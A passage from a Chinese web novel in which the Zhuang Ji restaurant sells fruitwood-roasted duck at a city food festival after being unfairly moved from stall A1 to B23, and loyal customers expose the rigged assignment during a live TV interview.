[@庄记饭馆：计划有变，我掐指一算，B23才是诉说复仇史的最佳地点，你们千万别跑错了！是B23！B23！B23！重要的事情说三遍！] [？？？] [位置不都是提前定下很久了么？怎么突然换了？] [B23，我刚去看了一下，每一个摊位我都认真扫了眼，整张图我看了不下三遍，我怀疑我自己都没怀疑过你，实在找不到了准备来质问你时，我朋友提醒我把手指挪一挪，等我把拇指拿起来，才发现，啊，原来你在这儿啊B23，敢不敢再偏点呢？] [我一开始还在笑楼上说得太夸张，结果等我自己去看了之后……笑早了，这真的太偏了吧，跟之前的A1比简直一个天上一个地下。] [偏一点怎么了？难道偏一点你们就不会去庄记那买吃的了吗？] [偏点好啊偏点好，那样就不会有很多人跟我抢了吧？] [楼上的，你想多了，人少是必不可能的，只有还在溪城，不管在哪个犄角旮旯我都会追过去，实在不忍回想没有庄记的那一星期，我都不知道我自己是怎么熬过来的。] [位置偏，吸引到的路人变少，按理说竞争是会减弱些，但只有我一个人觉得这里面有古怪么？据我了解，这次美食节的前三名是可以上电视的吧，A1那个位置又刚好在那么前……真不是我阴谋论。] [！！我也想到了这一点，希望是我们想多了吧。] …… 评论里，他们讨论着各种话，有说位置偏的，也有一针见血指出位置有问题的，还有询问美食节售卖什么的…… 陆向安挑了些评论回答，最后他实在没忍住，对怀疑换位置的背后有更深一层不可说的评论回复了一个表情包。 随后也不管他们怎么解读，就退出了。 * 美食节开始的第一天，热闹非凡。 人民广场挂起了各种红色喜庆的横幅，有小商贩趁着这一波人流量，在入口处摆了各种卖气球、小玩具的小摊。 他们摆得有秩序，也没影响到交通，主办方那边就没管。 从入口处进入，两边就各商家的摊位了，卖什么吃的都要，烧烤、点心、卤味……甚至连卖药材的都有。 一时间，空气中弥漫着各种食物的香气，哪怕原本不饿，只要进了这里，被这香气一激，也能饿得马上找吃。 有庄记的老顾客结伴而来。 一个女生进了摊位附近的道路，被其他食物吸引了注意力，正要去别处看看，被同伴拉住。 “你干嘛去？我们不是说好来吃庄记的么？” “哎呀，反正去庄记那里都要经过这条路的，就先随便看看嘛。” “还是别了，我怕你等会意志力不坚定，还没去到庄记的时候肚子就已经被别的食物填饱了，咱们可是说好要去给庄记捧场的。”另一个女生说：“再说了，难道你就不想知道庄记这次卖什么吃的吗？” 陆向安虽然在官博说了庄记参加美食节的事，却死活不肯透露要售卖的食品，一句“到时候你们就知道了”就把他们打发了，掉得他们的胃口不上不下的，恨不得马上将时间快进到美食节当天。 现在好不容易来了，当然得先去庄记看看。 “说的也是，我们还是赶紧先去庄记吧。” 等她们俩去到，庄记的摊位面前已经聚了好几个人。 他们在熟稔地跟老板聊着天，一看就是老顾客了。 两个女生凑上前一看，空荡荡的，只有前面的桌子上摆着一些黄瓜丝、饼皮等配菜。 “这……老板，你们这里就卖这个类似卷饼的东西吗？没有其他的了？” 虽然庄记做什么都好吃，想来卷饼的味道也不差，可这也太单调了点。 而且卷饼里的配菜还全是素，一点肉也没有。 庄凝冬在心里估算着时间，笑了下：“当然有其他的，现在做好了。” 她说着，走向摊子后方的空地，那里立着几个烤炉。 庄凝冬拿起工具，把一炉子的烤鸭提了出来。 当通体呈现出一种亮晶晶的枣红色鸭子出现在人们视野中时，他们都不约而同地做了吞咽动作。 不怪他们，只能怪这只鸭子实在太诱人了！ 选来做烤鸭的鸭子很大，周身肥美，外层是透亮的红，仿佛在上方雕刻了一层晶莹剔透的琥珀。 红得清透，红得均匀。 江映槐他们上前帮忙，几人把烤好的鸭子提到跟前，那阵烤过的醇厚香甜变得愈发浓郁，丝丝缕缕地钻进了众人的鼻腔。 “啊啊啊啊是烤鸭！！好香啊～” “其实刚刚我在来的路上就闻到了，但无奈这里的美食摊太多了，各种味道混合在一起，走了好半天都没找到这股香味的来源，搞得我以为我自己的嗅觉出了问题，没想到是在这里。” “原来在那么早就给我们透露过信息了，也太不明显了！” 陆向安听见后，无情取笑：“这还不够明显？不如说你们笨，才没想到。” 顾客：“……老板你看他，都说顾客就是上帝，他就是这样对待上帝的？” 竟然还有当面告状的？ 玩不起！ 在庄凝冬的眼神瞥过来前，陆向安双手举过头顶，识相地投降：“是我的问题。” 顾客打了胜仗似的抬了抬下巴，一脸嘚瑟。 陆向安：“……” 真幼稚。 “老板，这烤鸭怎么卖啊？” 庄凝冬：“按只卖，一百一只，你们可以看着买。” “那些配菜多少钱？” 庄凝冬：“不用钱，买鸭子就会送。” “这样啊，那先给我们来一只。” “我也要一只！” “我要半只！” …… 江映槐在一旁帮忙管理着秩序：“都别急，排好队一个个来。” 刚出炉的烤鸭还是有点烫的，在等它们冷却的时间，庄凝冬和顾客闲聊了一会儿，顾客们等得也不算煎熬。 等温度适宜了，庄凝冬带上手套，拿起刀，就在那片起鸭肉来。 锋利的刀刃落在酱红色的鸭皮上，划破炙烤过的外层，发出一点略清脆的声音。 光听着都能想象到它的口感是何等的酥脆。 往下是鲜嫩、纹理清晰的鸭肉。 手起刀落间，一片片厚度一致的鸭肉片就被切好了。 动作干脆利落，并且速度很快，效率高。 在一旁等待的顾客们看得目瞪口呆：“这、这刀工也太强了。” 虽然早在前面庄记推出菊花豆腐的时候，他们就感叹过老板的刀工，但那毕竟没亲眼见过。 现在见到了，才清晰地感知到什么叫刀工。 “老板你的眼睛是尺子做的吧，是怎么做到每一次刀刃的落点都那么精准的？” “速度就更不用说了，真的绝了，换我，顿在那里比划好一会儿都不一定能将它们切成厚度差不过的片。” “不知道为什么，看着好爽好解压啊，就这我能看一天！” …… 面对他们的赞赏，庄凝冬只笑笑，倒是一旁的江映槐兴致高昂，在那跟他们唠起来，语气总带着些炫耀。 没办法，谁让这么厉害的人是她师父呢？ 庄凝冬把片好的鸭肉整齐地摆放到打包盒上，剩余的鸭架子也没浪费，将它们剁碎也装进了打包盒。 “这些鸭架看着也不错，刚好可以看剧的时候拿来啃。” 庄凝冬给他们建议：“除了可以直接吃，你们还可以用来煲汤。” 有顾客说：“嗯……我想还是直接吃适合我。” 人群中响起一阵笑声。 那个顾客有点不好意思：“没办法，我比较懒，能直接吃绝不多做一个步骤。” 有人附和：“我也是。” “其实不管怎么吃，都是各人选择啦。” 有人对做菜方面感兴趣，便问：“老板，鸭架汤怎么做才好喝？” “！我也想知道！” “加一！” …… “就是先——” 庄凝冬才开了一个口，就被顾客打断：“等会儿！老板你先别急着说，让我开个录音，金鱼脑子，我怕你还没说完我就忘光了。” “啊对，提醒我了，我也要录个音才行。” “笑死我了，这就是当代年轻人的记忆力。” 庄凝冬想到后面的顾客也许也需要用到鸭架汤的方子，与其多次口头重复，不如发到网上让他们看着做。 “这样吧，等今天营业结束，我把鸭架汤的做法发到网上，你们需要的可以随时打开看，也不用录音了，你们觉得怎么样？” “可以！能发出更详细的教程总比现在口头说要更直观，也更方便我这种厨房小白了。” “好耶，又可以进我的收藏夹吃灰了。” …… B23的位置偏后，有青年一路上吃饱喝足终于来到了这一处。 走到这儿的人，几乎都已经吃饱了，所以这一带的生意都不怎么好。 然而就是在这么一处、其他摊位都没什么人购买的地方，有个摊子前却排起了一条队伍。 青年心生疑惑。 生意这么好，难道卖的东西很好吃？ 过去瞧瞧。 第68章 第68章 青年走近一看，才发现这儿卖的是烤鸭。 他的好奇心顿时没了。 烤鸭啊，没什么稀奇的，青年哼笑了下，还以为是什么呢。 不过这商家也太不懂经营了吧。 都举办美食节了，人们在这条道上走着，随意一转身就是一个美食摊位，吃的种类丰富无比，为了多吃肯定都会少吃。 所以美食节上一些量少、比如小煎饼、烧烤串、炸串之类的摊位会多一些。 哪有人会卖烤鸭的？ 烤鸭不仅是大菜，还是大荤，又油腻腻的，谁会在美食节上选择吃这个啊？ 更何况，这家摊子的位置还在那么后头。 等人来到都吃饱咯，更吃不下肥腻的烤鸭了。 可为什么这家摊位前的顾客却比别家的多？ 也许是营销好吧。 青年无声笑笑，正要走，脚步却被眼前的景象焊住了。 这个摊子前，有刚买了烤鸭的顾客等不及了，就站在一旁吃了起来。 带着个手套，拿起鸭架在那啃。 鸭架上连着滑嫩的肉质，有些部位还带有红亮的鸭皮，经过烤制后焦焦的，顾客张嘴撕咬下一块肉，唇上沾了油，亮晶晶的，咀嚼动作不停，吃得极其陶醉。 “香，实在是太香了，烤制过程的火候和时间把握得也太好了，这肉贼嫩，吃着好像还有一股水果的清香，好香甜，就连骨头啃起来都是甜滋滋的，水果香气渗透得太厉害了，无处不在，但又不会喧宾夺主。” 江映槐骄傲：“那是，因为我们家的烤鸭是用果木烤的，果木自带天然果香，气味不仅持久，燃烧起来的也能稳定提供热量，用来做烤制品最适合不过了。” “用果木烤的？难怪难么香，好吃极了。” 那个顾客啃完一块，又拿起了一块，嘴里不断地夸张道：“光是嘬骨头的这股香味，我觉得我都能连干两大碗饭。” 肉眼可见的陶醉。 其他打包好的顾客：“你可别啃了，搞得我都想直接拿出来吃了。” “靠，看你吃得那么香，我觉得我买半只会不会太少了，不行，我得再买点。” “我也再多买点吧。” “丢，快，要买的赶紧买，我刚刚把老板片鸭肉的过程拍了下来发到了顾客群里，他们感叹完老板的刀工的过后都说要来买烤鸭呢，趁现在人少赶紧多买点，免得以后买不到。” 一个顾客说完，瞬间收到其他顾客的眼神刀：“不，不是，你们这样看我干嘛？” “你为什么要往顾客群里发视频？” “……这也不能怪我吧，难道我不发，他们就不会知道庄记再卖烤鸭，他们就不会争着来买了？” 有道理。 其他顾客不再揪着不放，而是都跑到后面重新排起队准备再买点。 青年在一旁看着，有些呆滞，等他反应过来后，人已经在队伍里了。 青年一脸懵。 不是，他什么时候动的身？ 难道这就是人的从众心理？ 看到身边的人齐刷刷地排队，于是他也不由自主地跟着排队…… 青年无奈，不过排都排了，就跟着买点吧。 “这是鸭架，你可以直接吃，也可以用来煮汤，如果不会煮的话可以关注一下这边二维码上的号，我晚点会把鸭架汤的做法放上去。” “哦好。” 青年嘴上应着，却只是停在那，没有要扫码关注的意思。 买完烤鸭，青年在附近溜达了一圈，又买了瓶柠檬水喝就回家了。 柠檬水酸溜溜的，冰凉消暑，又解腻消食。 等青年回到家的时候，已经没那么撑了。 不过他看着那半只烤鸭，还是觉得自己买多了。 恰好楼上一个熟络的兄弟过来接工具，青年让分了一半烤鸭给他，让他带走了。 “好兄弟，隔着袋子都能闻到挺香的，刚好我还没吃午饭，谢了啊。” 送走人，青年才把目光放在那份烤鸭上。 烤鸭表皮色如玛瑙，一片片薄厚一致，大小相同，排列有序。 是卖相和香气上来看，都挺诱人的。 其实青年只是没那么撑，但还不是很饿，不过此刻他仍想吃，于率先夹起了一块鸭肉。 因为抱着小尝一点的想法，所以他甚至都没摊开饼皮弄卷饼。 烤鸭本身就有味道，所以青年没有蘸其他酱料，就这样吃了起来。 入口是一阵烤制过的焦香，还有无处不在的果香，咬下去的时候，鸭皮脆得能发出声音。 经过长时间的高温烘烤，鸭皮的水分减少，里面的油脂渗出，使得外表皮形成一种独特的酥脆口感，还有浓郁的焦香，其中又夹杂着微甜的果香，层次感非常丰富。 “好脆的皮，好香甜的气味……” 青年只觉得一种从未尝过的美味在味蕾上蹦跶，每一个点都精准地落在他的口味上。 他呆呆地愣住了，十分不可思议地盯着眼前的烤鸭。 而后狼吞虎咽起来。 不止皮好吃，鸭皮下的肉质也鲜嫩多汁，长时间的烤制也没让里面的肉质变老变柴，反而很好地锁住了水分，让鸭肉保持了滑嫩的口感。 牙齿咬下去之后，连里面的汁水都带了微微甜的果香，好像果汁。 “卧槽！这真的是烤鸭能拥有的味道吗？” 青年一开始还没觉得饿，但是当一块烤鸭下肚之后，胃口就莫名其妙被打开了。 开始不满足于一块鸭肉，他伸出手拿起了饼皮…… “这饼皮好薄，好透亮，跟一张纸似的，不会很容易破吧？” 青年全程卷得小心翼翼，把这张饼皮当做易碎的瓷器来对待，生怕不小心用了点力气，里头包着的酱就会从破了的地方漏出来。 青年在这块饼皮上放了鸭肉和黄瓜丝，他不吃葱，所以没加，还放了点甜面酱。 卷起来送到嘴边，张嘴嗷呜咬了一大口。 饼皮是韧韧的，嚼起来很有劲道，青年这才发现自己的担心实在多余，这么有弹性的饼皮哪是那么容易破的呢？ “这么好吃的饼皮，包其他肉一定也很好吃的，就是不知道这个饼皮是商家在哪买的，不会是自己做的吧？” 柔韧劲道的饼皮和鸭皮的酥脆、鸭肉的软嫩、以及黄瓜丝的清脆爽口结合在一起，口感丰富到难以用语言形容。 其中的甜面酱，又甜又咸，还有淡淡的酱香味。 “太香了，根本停不下来。” 打包的那份烤鸭里，除了甜面酱，还有酸梅酱。 酸梅酱质地浓稠，呈现清透的红褐色，极富光泽感。 青年尝过了甜面酱，又蘸了蘸酸梅酱。 酸梅酱中的酸味浓郁，尝到它的时候嘴里就好像有一只梅子在口腔中爆开，是一股馥郁的酸味，这种酸味比较清新，除了能增加食欲，还清爽解腻。 跟烤鸭搭配绝佳不过了。 “味道好纯正的酸梅酱，质地好丝滑，不管是哪种配菜，都绝不敷衍，估计全是商家自己做的，怪不得那么自信在美食节上卖烤鸭。” 有这种能力，可不得自信嘛？ 还有鸭架也超级香，焦香十足，又甜滋滋的，啃起来特别有滋有味。 不知不觉间，青年已经把那半份烤鸭消灭干净了。 他看着空空如也的饭盒，竟然还想吃。 明明他前不久才吃了一堆东西的啊！ 要怪只能怪这份烤鸭太香，他实在忍不住啊～ 前面是他想错了，什么营销好，人家这个店是味道好，那些都是回头客！ 人家是靠真本事留住顾客的。 青年盯着盒子，越来越觉得后悔。 早知道他就关注能个店的号了，早知道他刚刚就多买点了，早知道他就不分给楼上兄弟了…… 对了，青年眼睛忽地一亮。 说不定楼上兄弟还没开始吃，他可以问他把烤鸭要回来。 自己送出去的东西，怎么好意思要回来？ 别问，问就是为了烤鸭脸都不要了。 电话一拨通，双方同时开口—— 青年：“哎，我刚给你的那份烤鸭你吃了吗？如果还没吃可不可以……” 楼上兄弟：“对了兄弟，你那份烤鸭是在哪买的？好吃到爆炸！” “……” * 因为美食节才刚开始第一天，不知道能有多少顾客找到她这，再加上现在天气炎热，免得烤鸭放久了变质，庄凝冬没敢烤太多。 不过总的来说，生意还不错。 青年走后，又陆陆续续来了很多庄记的老顾客。 每批烤出来的鸭子都能在一定时间卖光。 晚上，庄凝冬他们卖完所有鸭子，可以收摊回去了。 其实这个时间点才是美食节的高峰期，夜晚没有白天那么热，人们更愿意晚上出来玩，人潮陷在烧烤摊弄出的浓烟里，人声鼎沸，将气氛拔到最高。 有路人瞧见，觉得意外：“这么早就收摊了？” “是不是因为没人来帮衬啊？这样，你卖的是什么，我来买点给你照顾生意。” 庄凝冬谢过他的好意：“不过我们真不是因为生意不好，我们的烤鸭已经卖光了，再在这待下去也是浪费时间，所以就只好收摊了。” “原来是这样吗？” 路人挠挠头，又表示对卖得那么快的烤鸭感兴趣，庄凝冬笑着说可以让他明天早点来。 路人点点头，说一定。 收拾好一切，要带回店里的东西不多，由江映槐帮庄凝冬拿就足够了。 所以季初曼和陆向安从人民广场离开后，直接回了家。 回到店里头，奶奶迎上来，问了几句累不累、辛不辛苦之类的话，才询问生意状况。 庄凝冬笑着一一回答了，为了不让奶奶担心，大多报喜不报忧。 洗漱过后，庄凝冬把鸭架汤的教程写好发到了官号上。 美食节期间，每天都要在摊位上待着，她是没时间拍教学视频了，只能弄了一个文字版。 顾客们很捧场，教程才一发出，纷纷留言一定会试试的。 庄凝冬看这阵仗，在心里估摸着，明天应该可以多做点烤鸭。 她跟供应商那边联系完，就带着一身疲惫入睡了。 在庄凝冬不知道的一角，一群人正偷偷摸摸策划着一件大事—— 他们都是庄记的老顾客，对于这次美食节，庄记位置突兀地发生了变动，再加上陆向安运营微博，给那条评论回了个表情包。 几乎实锤了位置的事件就是有内幕。 他们都替庄记感到气愤，不过他们都是普通人，没法直接帮上什么忙，只能背地里偷偷建个群商量着具体法子。 本来是想在网上直说，然后互相转发点赞闹大的，但这样做很可能被捂嘴压下来，甚至可能根本掀不起什么水花。 每天都好困：[突然觉得这种事情真的好无力啊，好像怎么样都没办法。] 讨论了好几个法子都不太行，群里的气氛一度down到了谷底。 忽然间，有人发现了一个重点： [哎，你们快看这篇推文！里面有说到美食节期间会有记者去采访，还是以直播的形式！我觉得我们的机会来了！到时候我们可以……] 一杯奶茶啊：[好，就这么办！] 第69章 第69章 美食节正如火如荼地举行。 距离刚开始已经过去了好几天，庄记的摊位被越来越多的人熟知，每天都有不少顾客在摊位前排队。 在这块较为荒凉的区域属实是一道奇特的风景线。 惹得周围的摊主是格外羡慕。 “那家摊位的生意还真不错啊，连烤鸭这种大菜都能那么畅销。” “那也是人家的烤鸭做得好啊，你都不知道，我每天准时来到这儿，都不是来摆摊的，是来‘受苦’的，每天闻着这么香的烤鸭可真是遭罪。” 其中有个卖烤肠的摊主正给烤肠化着花刀，却也忍不住分神偷瞄几眼庄凝冬那个方向，还时不时做吞咽动作。 几秒后，他扔下烤肠：“不行了，还卖什么烤肠啊，这股味道清清甜甜，总是若隐若现地钻进我的鼻腔，馋得我完全干不了活了。” 隔壁卖凉面的摊主看着他的背影笑话他：“又开始了？你这烤肠都还没卖几根呢，这一天下来赚的钱都不够你卖烤鸭吃。” 卖凉面的摊主说是这样说，然而还不忘叮嘱他：“喂！你别跑那么快啊，别忘了把我那份也买上！” 烤肠摊老板：“就你事多！记得帮我看着点摊子！” …… 虽然庄记那边的生意确实是一骑绝尘，但其实也为周边的摊子带来了不少客流量。 要不是有庄记在，他们的生意只会比现在更差。 有顾客结伴而来，他们正要去庄记那排队买烤鸭，其中一人看到有烤肠摊，想吃烤肠了，便商量着让一个人去庄记那排队，一个人则去买烤肠。 凉面摊老板看见后，先对那个顾客说：“不好意思啊，烤肠摊老板去买东西了，等会儿就回来了，不着急的话麻烦稍等片刻。” 随后就朝那边长队伍里喊：“老石！有人来了，快回来！” 只见庄记前的队伍里冒出了一道声音：“等会儿马上就到我了，我买完就回来了！” 顾客：“……” 果然，没有人能拒绝庄记的烤鸭。 * 美食节期间，每天都要在摊位前坐着，从早到晚，也就烤鸭还在烤制时，才得以歇一会儿。 在店里的时候都没试过这么累。 江映槐靠在椅背上，耷拉着眉眼，精神不是很好。 庄凝冬注意到，关切地问她：“怎么了，不舒服？” 季初曼看了眼：“是不是太累了？” “可不是，我现在是身心都感到疲惫。” 本来在这里的忙活时间比在店里的长就已经足够疲惫了，再加上江映槐一直因为位置被抢这件事不高兴，就更不舒服了。 庄凝冬给她擦了擦汗：“那你先好好休息吧，别忙活了。” “那不行，大家都在忙，我偷懒的话像什么样？” 江映槐就算再累，也不及庄凝冬长时间在那站在片鸭肉来的累，她还没矫情到这个地步。 庄凝冬知道拗不过她，便由她去了，只是让陆向安去给大家买点冰饮回来。 “好。” 陆向安应下，往其他摊位去。 他想了下，趁机去了趟A1那边。 A1摊子是卖凉拌类的食品，什么凉拌藕片、凉拌黄瓜、凉拌鸡爪，非常契合炎热的夏天，十分消暑。 又占据了入口的位置，生意自然好。 陆向安看得窝火，买了喝的就往回赶了。 回去的时候，沉着一张脸。 从来没见过陆向安这个样子，江映槐觉得稀奇，来了兴致，幸灾乐祸地问：“你的脸怎么黑不溜秋的？是不是被宰了？！” 陆向安：“我要是被宰还不是扣你师父的钱？” 饮品是庄凝冬请大家喝的。 “……”江映槐咽了一下，不服：“没事，我会从其他地方薅回来的。” 季初曼：“所以发生什么了？” 陆向安忍了忍，还是憋不住，把所看到的跟她们说了。 不过人多口杂，陆向安是在群里说的。 江映槐看了之后，果不其然也变了脸色：[气人！！！那本来是我们的位置，是我们的生意！] 庄凝冬日常给她顺毛：[好了好了，别生气了，你想想，就我们现在的客流量你都已经累成这样了，要是还在A1，你不得更累了？] 江映槐：[那不一样！] 江映槐：[那个商家到最后不会进了前三名吧？] 陆向安：[难说。] 季初曼：[今晚零点过后顾客们就能开始投票了，到时候可以看看。] 陆向安买回来的是绿豆沙牛乳，庄凝冬拿过两杯，分别戳了吸管进去，递给江映槐。 与此同时，自己先喝了口。 绿豆沙绵密细腻，吸上一口，绿豆的清香伴随着沙沙的口感在舌尖上蔓延，牛乳的香气浓郁，奶香味醇厚丝滑，甜度适中，冰冰凉凉的，能感受到一股凉意顺着喉道一路畅通无阻地滑进胃里。 继续为这件事烦恼下去不是办法，庄凝冬转移着话题：“牛乳味很香浓，绿豆沙也沙沙的，很清凉解暑，很好喝，快尝尝。” 江映槐气出一身汗，接过庄凝冬递给自己那杯。说了声谢谢，然后喝了起来。 绿豆沙和牛乳融合得非常密切，两相结合，味道各有千秋，清香和甜腻相融，确实不错。 重要的是足够冰，凉丝丝的感觉蔓延至四肢百骸。 炎热的暑意下去了点。 可那股气却怎么也灭不了。 江映槐又吸了一口绿豆沙牛乳，心情不好连带着看陆向安也不顺眼：“你买的绿豆沙怎么难喝啊？” “……” 陆向安瞥了眼她那杯即将到底的绿豆沙牛乳，认命道：“是，怪我，都是我的问题，我不该买这么难喝的绿豆沙牛乳。” * 这次的美食节，他们商家用的是主办方那边提供的专属小程序收款码， 顾客们也是在这个小程序上投票。 具体流程为，顾客扫码付款后，后台会消费的总金额，每消费到一定数字后，都可以获得一次投票的机会。 等时间一到，就可以给自己喜欢的商家投票了。 美食节上，他们商家用的是主办方那边提供的程序收款码。 顾客扫码后付款，后台会记录着消费的总金额，每消费到一定数字后，都可以获得一次投票的机会。 期间，江映槐和陆向安都有卖力地向群里的顾客们拉票。 所以在今晚这个重要时刻，都早早地在等着了。 不想上早八：[你一票，我一票，庄记明天就出道。] 不想上早八：[你不投，我不投，庄记何时能出头？] 纯情小y：[不追星，从来没做过数据，没想到在这等着打投的心情竟然是兴奋的、激动的。] 放老子一马：[这么好吃的烤鸭，必须上电视！！] 萝卜糕：[好了，都别贫了，快开始了。] 他们候在小程序的界面，等零点一过，投票按键一亮，都把自己所有的票投了出去。 江映槐守在小程序上，刷新着实时票数，看到自家排第一时还没来得及高兴，就发现A1那个摊位紧跟他们后面，排到了第二。！！！ 江映槐：[这不就说明我们到时候要跟他们一起上电视吗？] 江映槐：[有点晦气。] 庄凝冬一如既往地顺着江映槐的毛：[换个角度想，他们拿了我们的好位置，票数不还是没我们高？这么想你有没有舒服点了？] 江映槐：[好像是哎，自身实力不行，抢我们的位置有什么用？气死他们气死他们！] …… 隔天，电视台那边终于派了人过来做直播采访。 这次的美食节比前几届用心得多，除了在布置宣传方面更大手笔之外，更是尝试联合电视台那边采用直播的形式报道这一次的美食节。 溪城的发展较为落后，政府工作人员也试图让其各方面都往大城市那边靠。 就从这次的美食节开始。 采访也采用新颖的直播形式。 孟云露是溪城电视台的一名记者，她就被派来做美食节的直播采访。 她跟其他工作人员站在了美食节的入口处，有点紧张地问其他工作人员设备调好了没。 摄影师：“可以了。” 第一次做直播采访，孟云露还是有点紧张的。 以往的采访，有什么表现得不够好的地方都可以后期处理掉。 但直播不行。 孟云露深吸口气：“那开始吧。” 孟云露穿着一身得体的职业装，脸上挂着职位微笑，咬字清晰地做着介绍：“大家好，欢迎来到溪城一年一度的美食节现场，我身后就是入口啦，可以看到两旁都井然有序地摆着摊位，现场人来人往，热闹非凡，我还没走过去呢，就已经闻到了一阵阵浓郁的美食香味，让我们过去看看吧。” “大家可以看到这儿的摊子都非常干净，工作人员也都很注意卫生，美食就更不用说了，色调清新明亮，一看就让人忍不住流口水了，不知道吃起来味道怎么样，让我们随机采访几位路人吧……” “这位先生您好，我是溪城电视台的记者，请问能采访你几个问题吗？” 被拦住的是一位青年，他看了眼摄像头：“我回答了就能上电视么？” 孟云露轻轻一笑：“您已经上了呢，现在是在直播哦。” 闻言，青年冲那个摄像头做了个将头发往后捋的、自认耍帅的动作。 “……”孟云露：“这位先生真是自信又幽默，请问您喜欢这次美食节的哪些食物呢？” “那必是B23摊位的果木烤鸭了！现烤现卖，出炉的那一瞬，正只鸭子都是发着光的，那个鸭皮透亮得像玛瑙，外表油亮亮的，还散发着果木清香，光这样看着闻着，都足够让人口齿生津了，吃起来的味道更是一绝！外皮焦香酥脆，内里软嫩多汁，是我吃过最好吃的烤鸭了。” 青年：“如果你们没吃过，一定要去试试，不然真就错过了一个亿！” 孟云露虽然觉得对方形容得过分夸张，却也礼貌接话：“哇，能得到先生这么高的评价，看来这份烤鸭是真的很好吃了呢。” “不说了，我得赶紧去排队了，不然去晚了没得买。” …… 接下来，孟云露又去采访了其他人：“请问您最喜欢这次美食节上的哪种食物呢？” “B23的果木烤鸭！超级无敌香！吃过一次之后我连做梦都在吃！” …… 采访了两个年轻人，都说了那个果木烤鸭，孟云露这次挑了个小学生。 小学生看见这阵仗，知道是电视采访，不管三七二十一，直接凑到话筒边上大喊：“加强貂蝉！！” “……” 孟云露麻了，笑着跟他聊了几句，才把问题扯到正轨上，得到的答案终于变成了其他什么炸串、章鱼小丸子之类的了。 只是在后面的采访里，问了十个，有八个都说是果木烤鸭的。 这，真有这么好吃？ 孟云露正准备一探究竟，有个年轻女生走了过来，问是不是在做采访。 难得有主动送上门的人，孟云露便顺势采访了。 “请问您最喜欢哪种食物呢？” “B23的烤鸭，真的非常非常好吃！” 又是这个，孟云露已经习惯了。 “那请问您是不是给B23摊位投票了？” “那肯定的呀。” …… 小姐姐人美声甜，看着很乖很好说话，每个问题都是活力满满地回答的。 不像前面的被采访者，各有各的奇葩行为。 孟云露便多问了几个。 直到最后一个问题—— “请问您对这次美食节有什么不满的地方吗？或者有什么值得改进的地方吗？” “不满的地方，值得改进的地方……”女生思考了一会儿，道：“还真有，我记得原本抽到A1摊位的并不是现在这个商家，原商家好像被调去了后面的位置，那天他们被请走的时候我还在现场呢，工作人员态度敷衍恶劣，随意用一个借口就把人家打发了，我觉得这个摊位的抽签最好透明公开些吧。” 女生说到这，又补了一句：“啊对了，这是可以说的吗？” 孟云露：“……” 第70章 第70章 这是可以说的吗……？ 孟云露汗流浃背了，看上去挺配合的一个女生，怎么这么能捅娄子呢？ 她只想顺利地完成这次的直播采访任务然后高高兴兴地下班啊。 谁知道出了这样的事。 孟云露顿觉头疼。 遇到这样不公的事，她能理解其中的气愤无力，却也无奈。 不知道主办方那边的人知不知道这件事，孟云露也不敢肆意乱来。 还是先回去找台长商量吧。 “非常感谢您提出这个宝贵的意见，对于您说的这个问题，我这边会好好调查清楚的。” 三言两语打发走女生，孟云露又说了几句比较体面的话，就把直播掐断，赶回电视台了。 孟云露不知道，在她赶回去跟台长汇报的这段时间，这件事已经在网络上发酵。 那个女生不仅是庄记的老顾客，还是企图给庄记找回一个公道的群成员之一。 早在那天晚上，他们就商量好，要在电视台记者来直播采访的时候就把这件事说出去。 也早就打好配合，届时其他人会截取直播的这个片段发到网上。 所以，有关美食节上被恶意换位的事已经有好一些帖子和文章了。 * 沈刚是本地人，今天周末，他不用上班，不过他也没出门。 因为外面太大，热意劝退了他想要去浪的心。 反正闲着也是闲着，沈刚窝在家里，干脆打开了电视。 一打开，电视频道就是溪城的专属频道，正在直播美食节的热闹景象。 原本沈刚是打算开电视作背景音的，他开了电视就掏出手机。 正要打开游戏，他看到摄像头里拍摄的美食还挺诱人的，便多看了几眼。 这一看就停不下来了。 “这一届的美食节办得还挺像模像样，排面看起来就比前几年的都要足，摊位的美食种类也比之前的要丰富，难怪宣传得那么厉害，又是发传单，又是挂横幅海报的。” “看起来还挺好玩的，要不要找个时间去一趟呢？” “哼哼，这人可真社牛，当着摄像头展现自己的自恋，牛逼啊。” “笑死我了，这个小学生，是不是短视频刷多了，逮着个摄像头就喊加强，等会儿被家长减少玩手机时间就老实了。” “嘶……怎么感觉果木烤鸭的出镜率那么高？记者采访了那么多人，貌似大部分人最喜欢的果木烤鸭，这也就算了，还都是B23的烤鸭。” 看到这里，沈刚已经无形中对这个果木烤鸭产生了极其浓厚的兴趣。 他倒要看看，这个果木烤鸭到底有多神，竟然俘获了那么多人的胃。 所以在记者说要前去B23摊位一探究竟时，沈刚盯着屏幕，恨不得记者在下一秒就闪现到目的地。 嘴里还念念有词地催促：“快点快点！” 谁知道中途突然出来了个女生。 “哎哟，又要等，干嘛停下来采访啊？象征性问一两个问题得了……” “最喜欢的居然又是B23的烤鸭。” 在看到女生把内幕捅出来时，沈刚顿时面露不屑：“不是这也太恶心了吧？玩不起别玩，还私底下让人换位置，真无语。现在的A1摊主是吧？记住你了，我肯定不会去你的摊位消费的！” 就在沈刚心想采访完这个女生，记者是不是终于可以前往B23摊位时，记者竟然说了今天就采访到这儿的话。？？不是，这…… 他还没看见那份神奇的烤鸭呢！ 居然就结束了！ 沈刚虽然觉得可惜，但也理解。 在采访被曝出这种事，的确应该先停下手头的工作去调查。 电视进入广告时间，沈刚换了几个台都不满意，干脆刷起了手机。 与此同时，微博给他推了本地热搜榜的词条—— #美食节A1摊位竟有内幕# 点进去正是网友们对这件事的控诉，言辞激昂，逻辑清晰，还截取了直播时的片段，更有人附上了直播回放的链接。 带词条发帖子的人很多，再加上政府对这次美食节的宣传费了不少心机，本就有很多人关注着，所以这件事不仅在短时间内冲上了本地热搜榜，连朋友圈都有人在讨论。 [之前商家们还在布置摊位的时候我有去过现场，我明明记得A1摊位上原本是有几个颜值很高的小姐姐和小哥哥在的，可等到美食节正式开始，A1摊位上的人却变成了几个普通男人，我一开始还以为只是换了人，摊位没变，结果……我说呢，原来是摊位抽签“出错”了。] [代入一下原来的A1摊主，我已经要被气死了，这可是A1摊位啊！就在入口处，客流量那么好的一个位置！就这么被换走了，根本反抗不了。] [确实窒息，本来抽到A1应该开心得不得了吧，谁能想到后面还有这一出，也不知道原来的摊位被换到哪里去了，希望不要太差吧，不然真的太惨了。] [好气啊，受不了了，这样的事肯定不是第一次了，要是再不发声，绝对不会是最后一次。] [咦惹，没想到现在的A1摊位这么不干净，想到我曾经在那消费过我就觉得浑身有蚂蚁在爬，草，再也不要去了。] [你这算什么，我才是真的惨，因为我把我的票都投给了现在那个A1摊位，我真的会谢……] 